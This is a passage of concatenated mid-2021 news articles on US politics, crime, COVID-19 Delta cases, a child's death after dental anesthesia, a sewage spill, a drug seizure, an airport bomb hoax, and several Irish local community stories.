On the other hand, the letter also accuses NBC of encouraging its signature series, SNL, to insult politicians and their children. There's an instance when Katie Rich, the comedy writer of the show, said that Donald Trump's 10-year-old son, Barron Trump, would be the next school shooter.

Complainers said that SNL's irresponsible content should not be allowed to air in public. They added that networks with broadcast licenses should not exhibit inappropriate behavior since all ages can watch their shows.

Some People Still Support SNL

Although some people are now criticizing the content offered by SNL, there are still some fans claiming that NBC's Saturday Night Live offers great episodes.

According to The Thing, those who already attended the live show said that the stage is smaller compared to when you are watching it online. Some fans even said that the scenes are seamless, especially since a lot of actors are bustling around the stage.

Many people may criticize the show, but even more individuals will still try to support it since it makes the real situation in the United States a lot lighter.

READ NEXT: California: Radio Host Larry Elder Announces Candidacy for Recall Elections

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A three-year-old Kansas boy had died after a dental procedure gone wrong at Tiny Teeth Pediatrics Dentistry in Wichita on July 6.

Abiel Valenzuela Zapata was taken to the dentist to have teeth pulled out due to a gum infection. He was given anesthesia for the procedure and died soon after, according to a People report.

Nancy Valenzuela, Zapata's mother, said that the last thing she told her son was that everything is going to be fine because the three-year-old boy had cried when he felt the needle.

Valenzuela said that she felt like she failed him because she can't do anything to protect him.

The boy became unresponsive during a dental procedure and someone called 911 to report what happened to the child. Zapata was later brought into the hospital and later died there, according to a WBAY report.

It is believed that Zapata had an unanticipated reaction to the medicine given to him during the dental procedure.

READ NEXT: Florida Babysitter Kills 3-Year-Old Boy and Leaves a Note Telling Mom Her Child Drowned in Bathtub While Having Seizure

Three-Year-Old's Death

Valenzuela said Zapata's death has been hard for everyone in their family, including the three-year-old's younger brother, according to a KWCH report.

Valenzuela said that her son had pointed up and said he was with God. She added that it brings her a kind of comfort, but it hurts her that he knows.

Valenzuela said she made a promise to her son to truly understand what happened surrounding his death. She said he had no previous medical conditions to explain what happened during their dentist's appointment.

The mother said that Zapata's heart had just stopped beating and something must have gone wrong out of nowhere.

She noted that her son had cavities and they had gotten medical opinions from two dentists. They were then referred to the said dental clinic.

Valenzuela said she worried something was wrong when EMS arrived.

Meanwhile, no criminal investigation is ongoing regarding Zapata's death.

Valenzuela said that she did not expect to come out of the clinic without a child, adding that no parent ever expects that situation.

Zapata would have turned four in August. A Go Fund Me page has been set up to support the family of Zapata.

Dental Anesthesia Death

Children who died during dental appointments have led people to have a closer look at pediatric dentists' increasing use of anesthesia for kids for routine procedures such as cavity fillings, root canals, and tooth extractions.

A Twin Cities dentist in Minnesota had paid a $2 million settlement to the family of a teen who died while having her wisdom teeth removed. The said dentist allegedly failed to properly monitor her after administering anesthesia, according to a WebMD report.

In Hawaii, a dentist was charged with manslaughter after a three-year-old girl had a heart attack during a root canal after having the anesthesia. The dentist was later acquitted, but the case prompted lawmakers to pass "Finley's Law," which is named after the patient. The law had stated new anesthesia guidelines for pediatric dental care.

The American Academy of Pediatric Dentistry issued new national guidelines for practicing dentists on the use of general anesthesia to sedate young patients.

READ MORE: Mom of Florida Teen Accused of Stabbing Tristyn Bailey 114 Times Caught on Video Scrubbing Blood off Her Son's Jeans

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WATCH: 3 year old boy dies during routine dental procedure in Kansas - from Yours News






More than 500 Capitol rioters have been arrested and charged. But none of them have yet been charged with treason or sedition despite leftists' claims that the January 6 incident was an armed "insurrection" against the U.S. government.

The arrested Capitol rioters have been given an increasing number of lesser charges," The Daily Wire reported. It would probably be due to guilty pleas or plea deals from the dozens of defendants awaiting trial.

Throughout the United States' history, less than 10 people were convicted of treason. One of the Capitol rioters, Thomas Caldwell, seemed to fit the charge of sedition, the way it is generally understood, such as inciting revolt against the government.

But as of now, Caldwell or any other defendants have not been indicted for sedition or treason, Associated Press reported.

READ NEXT: In a 2007 Interview, Biden Said He Was Arrested for Trespassing at the Capitol: Report

Treason And Sedition Charges

Some legal experts say that the sedition charges could be applicable for this case. However, prosecutors may be reluctant to file them due to the complexity of the case.

In addition, there is a difficulty in securing convictions under those grounds. The bar for proving sedition is not as high as it is for the related charge of treason.

In 2010, an alleged Michigan plot by members of the Hutaree militia had garnered a sedition case when they tried to incite an uprising against the government.

However, the judge order acquittals on the sedition conspiracy charges in a 2012 trial on the basis that prosecutors relied too much on hateful diatribes protected by the First Amendment. The judge also said that it did not prove the accused ever had detailed plans for a rebellion.

Treason is specifically defined in the Constitution as someone "levying war" against the United States or "giving aid and comfort" to its enemies.

Experts said the Founding Fathers sought to clearly state the definition of treason as they knew the possibility to misapply it to legitimate dissent. The Founding Fathers were accused of treasons themselves by the British.

According to Bangor Daily News, the last treason case was of American-born Iva Toguri D'Aquino during World War II for her anti-American broadcasts. She was known as "Tokyo Rose" and convicted in 1949 for "giving aid and comfort" to Japan.

She was pardoned in 1977 by former President Gerald Ford after reports of U.S. authorities pressured some witnesses to lie.

After the World War II era, Adam Gadahn was the only American charged with treason in 2006 for giving "aid and comfort" to Al-Qaida.

January 6 Insurrection at the Capitol

Supporters of former President Donald Trump had stormed in the U.S. Capitol in efforts to impede Congress from certifying the election votes.

The Democratic members of Congress pushed for a bipartisan commission to probe the Capitol riot. However, Republicans had blocked the effort.

The House of Representatives had voted to create a commission on June 30. Rep. Liz Cheney is the only Republican on the panel after House Minority Leader Kevin McCarthy reportedly threatened to remove committee assignments from any Republican who serves on the commission, Insider reported.

READ MORE: Parler Is Back: CEO Says Trump, Biden Welcome on the Platform

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WATCH: Over 500 Have Been Criminally Charged Six Months After Capitol Riot - From NBC News






The Centers for Disease Control and Preventions (CDC) confirmed that 11 workers from a Las Vegas hospital tested positive for the Delta variant of COVID-19.

The Guardian reported that Todd Sklamberg, CEO of Sunrise Hospital and Medical Center, said the CDC told them that 11 of their colleagues tested positive for the Covid-19 Delta variant.

Hospital officials disclosed that the 11 workers tested positive for COVID-19 after attending a party in early June. Among the 11 workers, only one was unvaccinated.

Despite the confirmation of the workers testing positive for the COVID-19 Delta variant, none of the infected workers were hospitalized, nor were there any fatalities. Sklamberg said the 11 workers at the said Las Vegas hospital are now doing well and have returned to work.

READ NEXT: COVID -19 Infections Rise In 42 States; Pfizer to Discuss Vaccine Booster With U.S. Health Officials

He also assured that "there were no exposures" to their patients as the staff complied with all the necessary guidelines such as wearing personal protective equipment (PPE) gear, face masks, and face shields all the time.

"Although all were vaccinated, we want to acknowledge our colleagues recognized their own symptoms (similar to allergies or the common cold) and chose to get tested," Sklamberg noted.

Nevada Battles Surge of COVID Delta Variant Cases

The 11 Delta Variant positive cases in the said Las Vegas hospital came as the state of Nevada faces a surge in COVID-19 cases.

On Tuesday, July 13, Nevada health officials reported at least 855 new cases, making the state hit a two-week positivity rate of 10 percent. The Guardian noted that the state recorded a 3.3 percent positivity rate as of June 9.

Brian Labus, epidemiologist and assistant professor from the University of Nevada, said 60 percent of Nevada's COVID-19 sequenced cases were now the Delta variant.

Apart from the uptick of COVID Delta variant cases in Nevada, concerns that the Delta variant affects fully vaccinated individuals were also reported. Experts say that COVID-19 among fully vaccinated people is possible, especially with the Delta variant.

ABC 7 reported that a California couple still contracted COVID-19 despite being fully vaccinated while traveling to Las Vegas for a vacation.

The couple noted that they did not wear their masks upon arrival. The California man started to feel sick when they arrived home. After which, they tested positive for COVID-19, but it was not clear whether the couple got infected with the Delta variant.

Another COVID Delta Variant Outbreak

Forbes reported that another outbreak involving the COVID Delta variant happened at an outdoor wedding near Houston, Texas. It affected six fully vaccinated individuals.

The wedding had more than 90 attendees who are all fully vaccinated. The first to get sick were a man and woman who had traveled from India.

They both tested negative before boarding the plane to Houston. They traveled to Houston 10 days after receiving their second dose of the Covaxin vaccine by Bharat Biotech. The man was reported to be hospitalized six days after the wedding and eventually died a month after the event.

Four other guests who interacted with the man and the woman also tested positive for the virus. Among the four, two were inoculated with Pfizer vaccine, while the other two with Moderna.

One of the guests who had received the Pfizer had severe symptoms and was hospitalized. It was unclear what happened to the other three guests.

Meanwhile, the CDC still recommends taking the COVID-19 vaccines, saying that they are an effective and critical tool against the notorious disease.

READ MORE: COVID-19 Death Toll Hits 4 Million Worldwide as Delta Variant Spreads in Various Countries

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Written By: Joshua Summers

WATCH: Where the Covid Delta Variant has its Highest Transmission Rates in the U.S.- From CNBC Television
Department of Homeland Security (DHS) Secretary Alejandro Mayorkas has issued a warning to possible migrants from Cuba and Haiti against trying to enter the United States illegally amid domestic upheaval in both countries.

Alejandro Mayorkas said on Tuesday, July 13, that the voyage will be too dangerous and they will not be allowed to enter the U.S., Daily Mail reported.

"If you take to the sea, you will not come to the United States," the DHS chief noted.

Alejandro Mayorkas said Coast Guard officials are monitoring transport by air and have not seen a surge in migrants since the unrest in Cuba and the assassination of Haiti president Jovenel Moise last week. The DHS chief added that U.S. officials are prepared to deal with any surge.

Alejandro Mayorkas noted that the issue had personal importance to him, coming from a family who fled when the Communists had taken over Cuba and he highlighted the danger of the journey.

The DHS secretary added that even asylum-seekers who are fearing government persecution will not be allowed entry, National Review reported.

Alejandro Mayorkas said that people who are fearing persecution or torture from their own governments will not be allowed entry to the U.S. Instead, they will be transported to other third countries.

READ NEXT: Here's Why Xavier Becerra's Confirmation as HHS Secretary Faces Opposition From Republicans

Cuba Protests

President Joe Biden said he stands with the Cuban protesters and their clamor for freedom as protests sparked across the streets of Havana and Santiago.

Joe Biden said the U.S. supports the Cubans as they assert their universal rights. He urged officials not to use violence against their own people just to impede the protests. Joe Biden also called the Cuban regime to hear the people instead of just enriching themselves.

Cuba is currently going through its worst economic crisis since the fall of the Soviet Union, along with a peak of COVID cases. It is also suffering the consequences of U.S. sanctions imposed by the Trump administration.

Some have been arrested during the protests. The demonstrations are considered to be the biggest one in decades against the country's Communist regime, BBC reported.

Unauthorized public gatherings are illegal in Cuba, while protests are rare. Cuba's President Miguel Diaz-Canel described those protesting as "mercenaries."

Those protesting in the streets said they were angry about the collapse of the economy, food, and medicine shortages. They also cited price hikes and the government's response to the ongoing COVID-19 pandemic.

Journalist Camila Acosta was among those who were arrested. Acosta was working at the time for Spanish newspaper ABC, covering the incident. Foreign Minister Jose Manuel Albares called for Acosta's release immediately.

Haiti in Upheaval

The Haitian government is hunting down the people responsible for the killing of Haiti President Jovenel Moise, which had caused political chaos in the country.

One of those arrested was an informant for the U.S. Drug Enforcement Administration (DEA). The DEA confirmed that the suspect was "at times" a confidential source to the agency, CNBC reported.

The DEA said the informant had reached out to his contacts at the DEA after the killing. The agency said that they are aware of reports the suspects yelled "DEA" during the attack. However, they denied that the individuals were acting on behalf of the agency.

READ MORE: Immigrant Children at Border Have High Chance of Staying in the U.S.

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WATCH: DHS Chief Warns Cubans Against Migrating by Sea - From Associated Press






Vice President Kamala Harris had expressed her support for Texas Democrats who left their state to prevent the enactment of the controversial voting restrictions bill.

Kamala Harris met with the Texas Democrats on Tuesday, July 13, at the American Federal of Teachers union building in Washington and praised them for their "great sacrifice." The White House did not announce the meeting until minutes before it happened.

The Texas Democratic lawmakers arrived at the Capitol on Tuesday morning as they aim to break quorum to avoid voting on two GOP voting bills they oppose, Daily Mail reported.

During the meeting, Kamala Harris told the lawmakers that she knows what they have done comes with great sacrifice, both personal and political.

She added that defending the right of American people to vote is "as American as apple pie." She said their actions show a courageous stand.

Kamala Harris relates the action of the Texas lawmakers to those who fought for racial equality and voting rights.

President Joe Biden and Kamala Harris were criticizing Republicans for voting restrictions and ID laws to which Biden termed "odious and vicious." Harris also compared it to the Voting Rights Act and women's suffrage movements.

The vice president noted that this was not an issue about two political parties. Rather, it is about Americans and how Americans are experiencing this issue.

The Texas Senate approved Tuesday, July 13, the sweeping election reform bill on an 18-4 party-line vote. But the bill will now stall in the House due to the lack of a quorum.

READ NEXT: Kamala Harris Draws Flak For Saying Rural Communities Can't Photocopy IDs

Texas House Against Texas Democrats

Republicans in the Texas State House had also voted 76-4 to arrest the Democrats who had fled the state to Washington D.C. in efforts to break the quorum and impede the passage of voting rights bills.

Texas House rules allow the sergeant-at-arms to arrest members who are not present at the premise for a vote. However, the arrest vote does not stand much as long as the Democrats remain in Washington.

They have escaped jurisdiction of Texas law enforcement as they crossed state lines, according to another Daily Mail report.

Joe Biden has not yet expressed intentions to meet with the runaway lawmakers. However, White House Deputy Press Secretary Karine Jean-Pierre said that Joe Biden applauds their courage.

Texas State Representative Jasmine Crockett said that she is not worried about the threat of being arrested. Crockett added that she has not committed a crime and that she knows the law. At least 50 House Democrats have boarded two private jets from Austin to Washington, D.C.

Voting Restrictions

The bill in Texas would prohibit 24-hour polling places and expand the authority of partisan poll watchers, BBC News reported. The said bill would also make mail-in voting more difficult and give partisan poll watchers more authority at voting sites.

James Slattery, a senior staff attorney with the Texas Civil Rights Project, said voters of color and shift workers benefit from the methods that were being proposed to be banned, NPR reported. Slattery noted that the bans could be considered a direct attack on voters of color in particular.

The bills would also create a set of new criminal penalties and requirements for people needing assistance from voters at the polls.

Texas Republicans said that concerns about election integrity are serious, and should be addressed, despite not showing any evidence of any widespread problem with voting in the state.

READ MORE: Texas Sheriffs Sue Pres. Joe Biden for Restricting ICE's Authority to Arrest, Deport Illegal Immigrants

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WATCH: Texas Democrats Travel to D.C., Meet With VP Kamala Harris in Attempt to Stop GOP Voting Legislation - From WFAA






Texas woman, Cecily Aguilar, has been indicted on 11 counts by a federal grand jury, including old and new charges, for her involvement in Fort Hood Army Specialist Vanessa Guillen's death.

The 11-count indictment includes charges of accessory after the fact, conspiracy to tamper with documents, issuing false statements, and destruction of records in a federal case.

The indictment came down on Tuesday, July 13, or a month after a Texas judge denied Cecily Aguilar's motion, asking that her confession be thrown out.

Cecily Aguilar was accused of helping her boyfriend, Aaron Robinson, an Army Specialist who was named a person of interest, in dismembering and hiding the body of Vanessa Guillen, who had filed reports of sexual harassment on base, Crime Online reported.

Aaron Robinson allegedly beat Vanessa Guillen to death with a hammer inside a Fort Hood armory room in April 2020. Robinson then hid Guillen's body in a Pelican case, and dumped the case to the Leon River area, according to court documents.

Guillen's family lawyer, Natalie Kwaham, said that Robinson needed help in disposing of Guillen's body. This was when he contacted his girlfriend Cecily Aguilar. Both of them used a machete to dismember the body parts of the deceased Fort Hood soldier.

READ NEXT: Slain Soldier Vanessa Guillen Honored With Memorial Gate at Fort Hood

Cecily Aguilar's Involvement

Cecily Aguilar's role includes destroying the body of Vanessa Guillen, as well as issuing false statements in the federal case, KXXV reported.

Court 2 indictment read that the Texas woman corruptly alters, destroys, mutilates, and conceals any record, document, and object with the intent to impair its availability for use in an official proceeding.

Cecily Aguilar was arrested on June 30 last year. On the other hand, Robinson took his own life as police closed in on him during the investigation of Guillen's death.

According to Austin American-Statesman, the Texas woman worked at a local gas station before her arrest. U.S. Attorney Mark Frazier earlier said that Aguilar deleted Google accounts belonging to her and Robinson to get rid of the evidence.

The Texas woman also called one person from jail and asked that person to delete her Facebook page. The said person was not identified in court.

Cecily Aguilar could face up to 20 years in prison with a maximum fine of $250,000 if convicted.

Vanessa Guillen's Family

Vanessa Guillen's family is not yet giving up on their quest for major changes in the U.S. Army, according to a KXAN report.

Khawam said they cannot accept or allow the Army to continue saying that Vanessa Guillen was not sexually harassed by Robinson. She added that their investigation concluded that Robinson also sexually harassed other soldiers.

Guillen's family also pushed for justice for their daughter by holding accountable those who are still in the Army. Investigators earlier found that Guillen's leaders failed to take appropriate action against her sexual harassment reports. The allegations were also not moved up to the chain of command.

The family's attorney said no one has been completely removed, adding that they have been relieved of their command, but they are still collecting a paycheck. Khawam noted that taxpayers are still paying "these perverts and problems to be in the system."

Federal legislators had already introduced the Vanessa Guillen Military Justice Improvement and Increasing Prevention Act in Congress. The said bill would take decisions on how to handle sexual assault outside the chain of command.

READ MORE: Foul Play Suspected as Another Missing Fort Drum Soldier Found Dead

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WATCH: Vanessa Guillen's Family, Attorney Hold News Conference After Meeting With Army Leaders - From KHOU 11






TikTok star Naim Darrechi of Spain has received backlash over his condom remarks, saying he avoids using a condom during sex by telling partners he is infertile.

BBC reported that the 19-year-old TikTok influencer's condom remarks can be heard in a video with Spanish YouTuber Mostopapi.

READ NEXT: TikTok Video Shows American Airlines Passenger Duct-Taped to an Airplane Seat

TikTok Star Naim Darrechi Claims Engaging in Unprotected Sex

While the Spanish teen was with Mostopapi, the TikTok star shared that he found it difficult to use a condom that's why he never use one.

Naim Darrechi further noted that since none of his partners had got pregnant from unprotected sex with him, he started to think he had a problem.

"I started thinking I had a problem. So I tell them 'relax, I'm sterile.' It's true," the TikTok star said. The YouTuber who was with him laughed as Naim Darrechi shared his story.

The Spanish teen's comments garnered criticisms from women and girls. Many of them took to Twitter to express their thoughts.

One Twitter user said they hate the TikTok star and they do not support fragile masculinity and toxicity.

nesta account odiamos a naim darrechi por correrse dentro sen consentimento e ser provida, we dont support fragile masculinity and toxicity.  aroa (@aroalerman) July 12, 2021

Another user said that the Spanish teen and what he has done were "disgusting."

a thread on who is naim darrechi and what hes done because hes disgusting and it has to reach more people outside spain pic.twitter.com/OQ8TEh9dbT  ana (@fallinthebraves) July 13, 2021

Some of the Spanish teen's critics also pointed to the risk of him passing on a sexually transmitted disease.

As the criticisms against the TikTok star continued to pour in, Evening Standard reported that Naim Darrechi took to Instagram to apologize.

"I want to say sorry from my heart, from my conscience. Sometimes I don't realize the responsibility that I have... I made a comment that really is out of place and that is not right," the TikTok star said.

The Spanish teen added: "Sometimes I say things and sometimes I exaggerate, but here it's just crazy what I said, I wish it had been cut at the edit and no one would ever have heard it."

Last May, Naim Darrechi also caused a social media controversy by denouncing abortion in a TikTok video.

Spain's Equality Minister on the TikTok Star's Condom Remarks

The TikTok star's condom remarks also spark an investigation as Spain's equality minister Irene Montero has asked a prosecutor to investigate Naim Darrechi and find out if he had told the truth.

Montero also asked the prosecutor to identify possible victims of his sexual deception that would constitute sexual abuse under Spain's current law.

"Bragging to 26 million followers of something like this [condom remarks] reflects the urgency of putting consent at the center," Montero tweeted.

Quitarse el preservativo o eyacular dentro sin consentimiento es hoy abuso sexual y la Ley #SoloSiesSi lo reconocera como agresion



Presumir ante 26mill de seguidores de algo asi refleja la urgencia de poner el consentimiento en el centro. Lo pondremos en conocimiento de Fiscalia pic.twitter.com/SSMM7FOzvb  Irene Montero (@IreneMontero) July 12, 2021

Montero also emphasized that removing the condom or ejaculating inside without consent from the partner is considered sexual abuse.

Montero was referencing to a new law that was passed earlier this month. According to BBC, the new bill defines unprotected sex without consent as an assault.

If the remarks of TikTok star Naim Derrechi are found to be true, the Spanish teen could face between one and 12 years imprisonment under the new legislation.

READ MORE: TikTok Expands to Recruiting Jobs, Creates 'TikTok Resumes' for Video Job Applications

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WATCH: Tell Someone You Trust - From Council of Europe
After a power outage on Sunday, 17 million gallons of untreated sewage were discharged into the Santa Monica Bay which forced public closures on Southern California beaches this week, officials stated Monday night.

The Plant's Only Option

The largest and oldest sewage plant in Los Angeles County, Hyperion Water Reclamation, stated Monday that the plant became inundated with overwhelming quantities of debris, which caused backup of the headworks facilities. The plant added that the spill into Santa Monica Bay, which lasted for eight hours, released at least 6% of the plant's daily load. Officials of the plant stated that the massive discharge was an emergency measure to prevent the plant from going completely offline, and they avoided the plant to discharge much more raw sewage in the ocean.

According to CBS News, the Los Angeles County Department of Public Health issued closure orders on Monday for Grand Avenue Storm Drain, Dockweiler State Beach at Water Way Extension, El Segundo Beach, and Dockweiler State Beach at Hyperion Plant. The mentioned beaches based on the order would be reopened once its water quality tests showed that the affected areas do not have an elevated level of bacteria. The Public health department urged residents to avoid contact with ocean water in the affected areas to avoid any health problems.

Despite the statement released by the plant officials saying that the issue was resolved early Monday morning, Los Angeles County Supervisor Janice Hahn stated that she was still looking for answers about the incident.

Hahn released a statement, saying that what the plant did was unacceptable and dangerous. The Los Angeles County Supervisor stated that the Hyperion Plant should not just release seventeen million gallons of sewage into our ocean without informing the public hours before the release about what would be happening.

Moreover, Hahn stated that they need answers from the LA City Sanitation regarding what went wrong and what led to this massive spill. The Los Angeles supervisor also noted that they also need to recognize that the LA County Public Health did not properly communicate with the public, which could have put swimmers in danger in the mentioned temporarily closed areas.

ALSO READ: California School Urged to Fire Spanish Teacher Who Tells Students the N-Word Is No Longer a 'Horrible Ugly Word'

When reached for a comment, the Hyperion Water Reclamation directed the media to the Department of Public Works at LA Sanitation. A spokesperson for LA Sanitation said that the department notified the state's Office of Emergency Services within an hour of the plant's discharge. The spokesperson of the sanitation department described the incident as 'a very unusual occurrence.'

The spokesperson also mentioned that the plant actually diverted a much larger emergency because if the plant had to go offline altogether, it would have been a real crisis.

The state director of the nonprofit organization Environment California, Laura Deehan, said that the spill should never have happened. Deehan called for the passage of a clean water infrastructure bill that's currently moving through Congress to ensure the ability to live the California dream without worrying about the fecal matter that can make people sick or may "contaminate the surfboard or their kids' floating device."

RELATED ARTICLE: California: Radio Host Larry Elder Announces Candidacy for Recall Elections

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WATCH: Several beaches near Dockweiler closed after 17 million gallons of sewage spills into the ocean - Fox 11 Los Angeles
After the interdiction of a go-fast vessel near Puerto Rico, the United States Coast Guard Cutter Joseph Tezanos offloaded close to $15 million worth of seized cocaine at Coast Guard Base San Juan on July 12 and transferred custody of two male smugglers.

Cocaine Trafficking in Puerto Rico

On July 10, during a routine patrol of the Customs and Border Protection Air and Marine Operations, its aircrew detected two men aboard a go-fast vessel that was suspected to be involved in a drug trafficking.

According to The Maritime Executive, the successful interception was the result of a coordinated multi-agency effort in support of the enhanced counter-narcotics operations by the U.S. Southern Command. The plane of the CBP coordinated with the U.S. Coast Guard, the Caribbean Corridor Strike Force, and the U.S. Attorney's Office for the District of Puerto Rico.

The drug bust happened near Mona Island, Puerto Rico, after an aircrew discovered two men on a 24-foot go-fast vessel that was believed to be part of drug trafficking.

The Coast Guard Cutter Joseph Tezanos was operating from its homeport in San Juan, Puerto Rico at the time. The vessel was at sea also on a routine mission when it was diverted to coordinate with the aircraft. Responding to the scene, the cutter found itself in hot pursuit to intercept the suspected vessel involved in drug trafficking. The suspected vessel was seen throwing packages overboard but the cutter's small boat successfully intercepted the go-fast vessel.

Moreover, when the cutter crew entered the terminated vessel, officers were able to locate the remaining packages inside the vessel after some of them were thrown off of the boat and into the water. A total of 502 packages of cocaine were confiscated, approximately weighing 1,104 pounds or more than 500 kilos. The two smugglers who were at the vessel during the interception were transferred to custody Monday at Coast Guard Base San Juan.

ALSO READ: 4-Month-Old Baby Dies From Cocaine Ingestion; Authorities Arrest Parents After Cocaine Found on Baby's Feeding Bottles

The commanding officer of Cutter Joseph Tezanos, Lt. Anthony Orr, stated that he directly attributed the success of the interdiction to the close interoperability that the Coast Guard has with CBP. Orr also praised the performance of his crew who displayed phenomenal performance during the pursuit, boarding and towing the go-fast vessel. The commanding officer said that it was his pleasure to work with the crew of the CBP aircraft, who helped the cutter in intercepting the go-fast vessel.

The Director of the Caribbean Air and Marine Branch, Hector Rojas, stated that the Caribbean Air and Marine Branch valued their partnerships with different agencies which resulted in the successful seizure and even in the past. Rojas added that their agents would continue using their advanced aeronautical and maritime capabilities to detect and interdict smugglers in their attempts of trafficking drugs throughout their coastal borders.

The Caribbean Corridor Strike Force is a multi-agency Organized Crime Drug Enforcement Task Force that focuses on the Caribbean and South American-based Transnational Criminal Organizations involved in the maritime and air smuggling shipments of narcotics from Puerto Rico.

RELATED ARTICLE: U.S. Investigation Sheds Light On Guatemalan Soldiers' Role in Mexico's Sinaloa Cartel Drug Trafficking

This article is owned by Latin Post

Written by Jess Smith



WATCH: Coast Guard offloads $12 million in cocaine in San Juan, Puerto Rico - WHAS11
A Canadian man on his way to Toronto told an airline employee at the Fort Lauderdale airport in Florida Saturday that there was a bomb in his luggage instead of paying a bag fee that he disagreed with, prompting authorities to arrest the suspect, officials said.

Bomb Scare at Fort Lauderdale Airport

The Broward Sheriff's Office said on public records that the comment made by the Canadian Saturday morning forced authorities to evacuate three terminals and halt all the operations at the Fort-Lauderdale Hollywood International Airport for several hours.

According to NBC News, the 74-year-old Canadian, Wegal Rosen, was arrested by the police and charged with making a false report concerning planting a bomb, explosive, or weapon of mass destruction.

The complaint from the Broward Sheriff's Office stated that the 74-year-old Canadian was at the Air Canada counter on his way to Toronto when he engaged in a heated verbal exchange with an airline employee. The said dispute started with the "additional charges for baggage and the airline's no cash policy."

Moreover, the complaint mentioned that the airport employee advised Roden that he needed to proceed to terminal 3 from terminal 2 to purchase a Visa credit card which would suffice his carry-on fee. However, Rosen walked away without his luggage and when the employee told him that he needed to take it, the Canadian responded that there was a bomb inside the bag.

ALSO READ: Plane Lands on Busy California Highway; Makes Emergency Landing on 101 Freeway

The comments of Rosen caused the evacuations on Terminals 2, 3 and 4, and a total shut down of airport operations for over 4 hours, Daily News reported. Based on the report from the sheriff's office, they listed Rosen's permanent residence as Toronto but also listed as a part-time resident in Deerfield Beach in South Florida.

When asked for a comment on Tuesday, the 74-year-old Canadian, Rosen could not be reached. Records from the Broward Sheriff's Office showed that he remained in jail early Tuesday afternoon on $20,000 bond. Jason Weiss, the attorney of Rosen, could not be immediately reached when also asked for comment.

Meanwhile, the Broward Clerk of Courts said that Rosen attended a magistrate hearing on Monday. Aside from having a bond set, the clerk's office stated that Rosen was told that he could not return to the Fort Lauderdale airport and he could not possess weapons or ammo.

According to the South Florida Sun Sentinel, Rosen faced up to 15 years in prison. The newspaper also mentioned that during the magistrate hearing, Rosen's attorney stated that his client said "the magic words you do not say."

The lawyer of Rosen also said that the Canadian was headed home to Toronto to see a cardiologist. The judge in the hearing told Rosen he could fly to Canada, but the judge emphasized that he would have to travel through other airports in Florida.

On the other hand, the 74-year-old Canadian man who owns a condo at Century Village in Deerfield Beach, was also arrested in 2019 after he got into a scuffle with an elderly woman in the retirement community.

RELATED ARTICLE: Truck Driver Caught Smuggling Cocaine Inside Banana Boxes

This article is owned by Latin Post

Written by Jess Smith

WATCH: Thousands Forced To Evacuate Fort Lauderdale Airport Due To Bomb Threat - NBC News
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Texas Jack: Americas First Cowboy Star was published earlier this year by Matthew Kerns. The hardcover book is available wherever books are sold at a cost of $26.95.
A newly married couple took time out from wedding celebrations to pay a special visit to a relative in Tullamore hospital.

Kenneth Moody and Patricia Murray were married in St Kevin's Church, Clonbullogue on Thursday, July 8 with the reception in the Bloomfield Hotel in Mullingar. They celebrated the day with their seven children aged 5-18.

Two days after the wedding, the couple donned their wedding attire to visit Patricia's cousin Orla Coss at the Midland Regional Hospital Tullamore.

To make sure Orla wasn't left out this time while she was in hospital, Orla's sister, Michelle Dunne, came up with the plan for the happy couple to get dressed up in the wedding attire and make a visit to the hospital.

Patricia said it was 'like winning the lotto' to get to visit her cousin Orla in hospital.

Orla (41) suffers from Multiple Sclerosis, also known as MS. She has spent the last six weeks in Tullamore Hospital battling septicemia.

"Orla loved weddings, she would never miss a family one," said Patricia.

"She used to do Irish dancing when she was younger, she always on the dance floor at weddings!".

The couple said it was an emotional day visiting Orla as they hadn't seen Orla in almost two years due to Covid-19.

"Orla has only been able to see her next of kin for months now, I really think it brightened both of our days!" said Patricia.

"The nurses said we were the first bride and groom to come into the hospital, they were coming up to see us," Patricia said.

Patricia and Kenneth are the first couple to celebrate a wedding reception during Covid times in the Bloomfield Hotel.

On getting married in a global pandemic, the couple found it a unique experience.

"It was hard getting married wearing the masks! We had planned on a party of 150, which was reduced to 50 with government guidelines. It was amazing though, everything was perfect to a tee," said Patricia.
Subsidence near a house in Mountmellick is deadly dangerous, according to a councillor who claims the area hasnt received treatment in 20 years.

Cllr Paddy Bracken called for action at a recent meeting with Laois County Council officials. He said there is dangerous footpath and wall outside House No. 102 St. Josephs Terrace, Mountmellick. He added that this is ongoing for a number of years and it is now a "serious health and safety issue.

Cllr Bracken elaborated on a written appeal saying the issue has also affected a wall.

The whole wall and footpaths is subsided there, he said.

He claimed the pavement last received attention 40 years ago but has not deteriorated badly.

It is deadly dangerous and is a health and safety issue, he said.

Mr. Edmond Kenny, District Engineer, replied that the council will arrange to meet the Elected Member at this site to inspect the damaged infrastructure.

Cllr Bracken said he looked forward to that meeting but has raised the issue with previous council engineers and action had not followed.

The issue was raised at a recent Borris-in-Ossory Mountmellick Municipal District meeting.
Castletown farmer Patrick Kelly and his friend Mark Sythes will be attempting to break a Guinness World Record in aid of cancer research and support.

The pair will be donning their Batman and Robin costumes where Batman will drive a tractor for 24 hours, with Robin in tow on a bike.

The aim is to raise as much money as possible for Breakthrough Cancer Research and the Laois-based Cuisle Centre in Portlaoise on Saturday, July 31.

"I've been fundraising the last five years for cancer research," said Patrick. "My Mam passed away from cervical cancer and that's what started this journey".

Patrick's step-daughter is ten years cancer free this year, which coincides with his mother's five year anniversary, which he says prompted him to do something different.

Patrick Kelly (Batman) and Mark Sythes (Robin) preparing for their challenge on the 31st. Photo: Alf Harvey.

"I spoke with Mark about it and he came up with the 'Farmer Batman and Robin Endurance Challenge'," Patrick said.

The record the pair are attempting to break is the longest distance within 24 hours in a vintage tractor while wearing a costume.

"The hardest thing I've ever had to do was break the news to my Mam that the treatment didn't work, that she had two weeks to live," said Patrick.

"That's when I vowed to raise money for cancer research, so that families won't have to break news like that. I want to do it in my Mam's memory".

"Covid-19 has seriously impacted the treatment of cancer. Doctors appointments have been delayed, treatments have been postponed and people are afraid to go to doctors surgeries," he explained.

"If we can raise enough money to help scientists, hopefully someday we can have a cure".

The pair of superhero and sidekick will launch the 'Farmer Batman and Robin Endurance Challenge' at the Cuisle Centre Portlaoise, at 9am on Saturday, July 31.

You can donate to their cause here.

Local Superheroes Patrick and Mark. Picture: Alf Harvey.
The Portlaoise Flyer, the plane built by Frank, Louis and Joe Aldritt in the early part of the 20th century has returned home to Portlaoise.

The plane, which is believed to be the first plane to fly in what later became the Republic of Ireland, had been bought by a collector in the UK. It was purchased, restored and returned home by the Colonel Fitzmaurice Commemoration Committee, who hope to use it as a centrepiece of a display on Portlaoise Aviation History.

Teddy Fennelly is President of the Fitzmaurice Commemoration Committee which has dedicated great efforts to the project.

